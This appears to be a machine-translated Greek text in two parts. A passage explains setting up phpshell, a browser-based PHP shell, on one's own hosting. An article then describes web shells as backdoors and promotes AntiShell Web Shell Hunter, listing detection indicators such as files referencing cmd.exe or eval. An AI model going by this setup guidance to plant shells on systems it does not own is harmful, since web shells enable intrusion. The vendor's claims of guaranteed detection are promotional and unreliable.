Το σενάριο εκτελείται είτε για λογαριασμό του apache και, στη συνέχεια, οι δυνατότητές του περιορίζονται μόνο από το γεγονός ότι ο λογαριασμός apache έχει τα δικαιώματα να το κάνει. Ή, προαιρετικά, εάν χρησιμοποιείται suexec στη φιλοξενία (http://en.wikipedia.org/wiki/SuEXEC), τότε τα δικαιώματά σας θα συμπίπτουν με τα δικαιώματα του λογαριασμού από τον οποίο εκτελείται το σενάριο php.

Ας υποθέσουμε ότι αυτό δεν σας εμποδίζει και ότι έχετε κατεβάσει και αποσυσκευάσει το αρχείο του διακομιστή σας σε έναν φάκελο, ας πούμε phpshell. Εάν εισαγάγετε "somehow-called-your-site / phpshell / phpshell.php" στη γραμμή διευθύνσεων του προγράμματος περιήγησης, τότε θα σας ζητηθεί να συστηθείτε, να εισαγάγετε το όνομα και τον κωδικό πρόσβασής σας - φυσικά, αυτά δεν είναι τα διαπιστευτήρια που λάβατε από τον οικοδεσπότη σας

Επομένως, πρέπει να ρυθμίσετε δικαιώματα: ποιος μπορεί να έχει πρόσβαση στο κέλυφος μέσω αυτού του βοηθητικού προγράμματος. Για να το κάνετε αυτό, βρείτε την ενότητα χρηστών στο αρχείο config.php και προσθέστε το όνομα χρήστη και τον κωδικό πρόσβασης σε αυτό στην ακόλουθη μορφή:

Βασιάνο = μυστικό

Εάν σας μπερδεύει το γεγονός ότι ο κωδικός πρόσβασης έχει οριστεί σε καθαρό κείμενο, τότε χρησιμοποιώντας το αρχείο pwhash.php μπορείτε να μάθετε την αναδίπλωση του κωδικού πρόσβασης md5 και θα αποθηκευτεί στο αρχείο config.php

Τώρα προσπαθούμε να μπούμε ξανά και μπαίνουμε στο παράθυρο, όπου στο κάτω μέρος του παραθύρου εισάγουμε την εντολή, κάνουμε κλικ στο "start" και μετά το αποτέλεσμα της εκτέλεσής της εμφανίζεται στο κέντρο του παραθύρου της σελίδας

Αυτό είναι όλο, ίσως το phpshell σας βοηθήσει κάπως.

Οι περισσότερες επιθέσεις σε εταιρικούς πόρους περιλαμβάνουν την έγχυση κελύφους ιστού - κώδικα που καθιστά δυνατό τον έλεγχο μολυσμένων μηχανών εκτός του δικτύου. Το AntiShell Web Shell Hunter είναι ένα εργαλείο ασφαλείας που περιλαμβάνει ένα ολόκληρο σύνολο μηχανισμών για τον εντοπισμό κελυφών ιστού.




Το κέλυφος Ιστού είναι ένα σενάριο που μεταφορτώνεται στον διακομιστή και χρησιμεύει για απομακρυσμένη διαχείριση. Γίνεται κακόβουλο μόνο όταν ελέγχεται από έναν εισβολέα. Και σε αυτή την περίπτωση, αποτελεί σοβαρή απειλή.

Ο μολυσμένος διακομιστής δεν χρειάζεται να είναι συνδεδεμένος στο Διαδίκτυο - μπορεί να βρίσκεται στο εσωτερικό δίκτυο της εταιρείας. Στη συνέχεια, το κέλυφος Ιστού χρησιμοποιείται για να αποκτήσει πρόσβαση σε άλλους κεντρικούς υπολογιστές με κρίσιμες εφαρμογές ή πληροφορίες.

Οποιαδήποτε γλώσσα υποστηρίζεται από τον διακομιστή ιστού-στόχου μπορεί να χρησιμοποιηθεί για τη σύνταξη κελύφους ιστού. Στην πράξη, η PHP και η ASP χρησιμοποιούνται συχνότερα καθώς είναι τα πιο δημοφιλή. Τα κακόβουλα προγράμματα στο κέλυφος Perl, Ruby, Python και Unix είναι επίσης ευρέως διαδεδομένα.

Τα κελύφη Ιστού εγκαθίστανται με έναν αρκετά τυπικό τρόπο για κακόβουλες εφαρμογές - χρησιμοποιώντας τρωτά σημεία στο λογισμικό CMS ή διακομιστή ιστού. Μετά από αυτό, λειτουργούν ως κερκόπορτες, οι οποίες επιτρέπουν σε έναν εισβολέα να εκτελεί αυθαίρετες εντολές στο απομακρυσμένο μηχάνημα, συμπεριλαμβανομένης της έγχυσης ransomware ή της εκτόξευσης επιθέσεων σε άλλους διακομιστές.

Ένας ιδιαίτερος κίνδυνος με τα κελύφη ιστού είναι η σχετική τους απλότητα. Η τροποποίηση του σεναρίου, με αποτέλεσμα ένα άλλο πρόγραμμα, είναι μια εργασία που μπορεί να χειριστεί ακόμη και ένας αρχάριος. Λόγω αυτής της ποιότητας, είναι δύσκολο να εντοπιστούν κελύφη ιστού με τυπικά εργαλεία προστασίας από ιούς.

Όπως και άλλα κακόβουλα προγράμματα, τα κελύφη Ιστού μπορούν να αναγνωριστούν από μια σειρά εξωτερικών χαρακτηριστικών. Ωστόσο, ένα σημαντικό μέρος τους μπορεί επίσης να αναφέρεται σε εντελώς νόμιμους φακέλους, επομένως τυχόν ύποπτοι δείκτες πρέπει να εξεταστούν σύνθετα, αναλύοντας την όλη εικόνα και όχι τα θραύσματά της.

Πιθανοί δείκτες για την παρουσία ενός κελύφους ιστού στον διακομιστή μπορεί να είναι:

  • περιόδους ασυνήθιστα υψηλού φόρτου διακομιστή.
  • παρουσία αρχείων με ύποπτη χρονική σήμανση (για παράδειγμα, αργότερα από την ώρα της τελευταίας ενημέρωσης λογισμικού).
  • η παρουσία ύποπτων αρχείων σε μέρη προσβάσιμα από το Διαδίκτυο.
  • την παρουσία αρχείων που περιέχουν συνδέσμους προς cmd.exe, eval και παρόμοια.
  • την παρουσία ύποπτων εξουσιοδοτήσεων από το εσωτερικό δίκτυο·
  • την παρουσία αρχείων που δημιουργούν ασυνήθιστη κίνηση.

Προφανώς, η «χειροκίνητη» ανάλυση σε αυτή την περίπτωση, αν είναι δυνατόν, απαιτεί πάρα πολλούς ανθρώπινους πόρους, επομένως η εφαρμογή της στερείται κάθε πρακτικής σκοπιμότητας. Το AntiShell Web Shell Hunter της Garhi Technology αυτοματοποιεί αυτή τη διαδικασία, υποστηρίζοντας ότι είναι εγγυημένο ότι αναγνωρίζει όλα τα γνωστά κελύφη ιστού.

Η εφαρμογή βασίζεται στις ακόλουθες τεχνολογίες:

  • αναζήτηση με λέξεις-κλειδιά. Όλα τα αρχεία σαρώνονται για λέξεις και εντολές που μπορεί να σχετίζονται με την επίθεση.
  • ανάλυση υπογραφών: αναζήτηση για υπογραφές γνωστών κελυφών ιστού.
  • ανάλυση των μεγαλύτερων γραμμών. Συχνά, ο κακόβουλος κώδικας κρυπτογραφείται με τέτοιο τρόπο ώστε να παρακάμπτονται οι αναζητήσεις λέξεων-κλειδιών. Αυτό κάνει τις γραμμές κώδικα ιδιαίτερα μεγάλες, γεγονός που τις καθιστά ανιχνεύσιμες.
  • υπολογισμός της εντροπίας του Shannon στον πηγαίο κώδικα. Σε κάθε γραμμή κώδικα εκχωρείται μια βαθμολογία, βάσει της οποίας μπορείτε να κρίνετε τον βαθμό απειλής.
  • αναζητήστε κακόβουλο κώδικα χρησιμοποιώντας τη μέθοδο ευρετηρίου σύμπτωσης.

Αυτό λύνει ένα από τα κύρια προβλήματα ανίχνευσης κελύφους ιστού, που σχετίζεται με την ποικιλία των γλωσσών που χρησιμοποιούνται και τη δυνατότητα εύκολης τροποποίησης. Αυτοί οι παράγοντες δεν επηρεάζουν τη λειτουργία του AntiShell Web Shell Hunter, γεγονός που το καθιστά καθολικό και μπορεί να χρησιμοποιηθεί για την προστασία οποιουδήποτε διακομιστή.

Δεδομένου ότι τα αρχεία που δεν έχουν τροποποιηθεί από την προηγούμενη σάρωση εξαιρούνται από την επεξεργασία, το AntiShell Web Shell Hunter δεν τοποθετεί μεγάλο φορτίο στο διακομιστή. Επιπλέον, αυτή η προσέγγιση μειώνει τον χρόνο επαλήθευσης.

Ταυτόχρονα, οι διαχειριστές μπορούν να ρυθμίσουν ανεξάρτητα τον χρόνο σάρωσης με βάση τις καθημερινές διακυμάνσεις στο φόρτο του διακομιστή. Εάν είναι απαραίτητο, η καθημερινή ρουτίνα αντικαθίσταται με εβδομαδιαία ή και μηνιαία, η οποία σας επιτρέπει να βελτιστοποιήσετε τη λειτουργία ολόκληρου του συστήματος.

Το πρόγραμμα εντοπίζει αρχεία που περιέχουν τον κώδικα του κελύφους Ιστού και παρέχει στον διαχειριστή του συστήματος πλήρεις πληροφορίες για το αντικείμενο: ημερομηνία και ώρα δημιουργίας, όνομα κατόχου, δικαιώματα κ.λπ.

Όλα αυτά τα δεδομένα (αλλά όχι τα ίδια τα αρχεία) πηγαίνουν επίσης στο κέντρο πελατών της εταιρείας προγραμματισμού, το οποίο, στη βάση τους, μπορεί να παρέχει υποστήριξη στον χειρισμό του συμβάντος και στη διερεύνηση των συνεπειών του. Οι πελάτες που έχουν εγγραφεί σε μια επί πληρωμή υπηρεσία μπορούν επίσης να χρησιμοποιήσουν ένα ειδικό βοηθητικό πρόγραμμα για να κατεβάσουν οι ίδιοι τα μολυσμένα αρχεία για περαιτέρω ανάλυση.

Τα μηνύματα σχετικά με τα αντικείμενα που βρέθηκαν αποστέλλονται στον διαχειριστή του συστήματος μέσω e-mail. Δεν χρειάζεται να παρακολουθεί προσωπικά τη διαδικασία.

Σήμερα το AntiShell Web Shell Hunter είναι το μόνο εργαλείο που στοχεύει ειδικά στον εντοπισμό κελυφών ιστού. Ένας αριθμός εφαρμογών προστασίας από ιούς περιλαμβάνει μια παρόμοια λειτουργία, αλλά μόνο ως πρόσθετη επιλογή, η οποία είναι ανενεργή από προεπιλογή. Κατά κανόνα, βασίζονται αποκλειστικά στην ανάλυση υπογραφών, επομένως η αποτελεσματικότητά τους είναι φτωχή.

Καθώς η χρήση κελύφους ιστού για επίθεση σε διακομιστές γίνεται πιο κοινή, είναι λογικό να προστατεύουμε το σύστημα με μια εξειδικευμένη λύση. Όπως λέει και η παροιμία, δεν υπάρχει ποτέ υπερβολική ασφάλεια.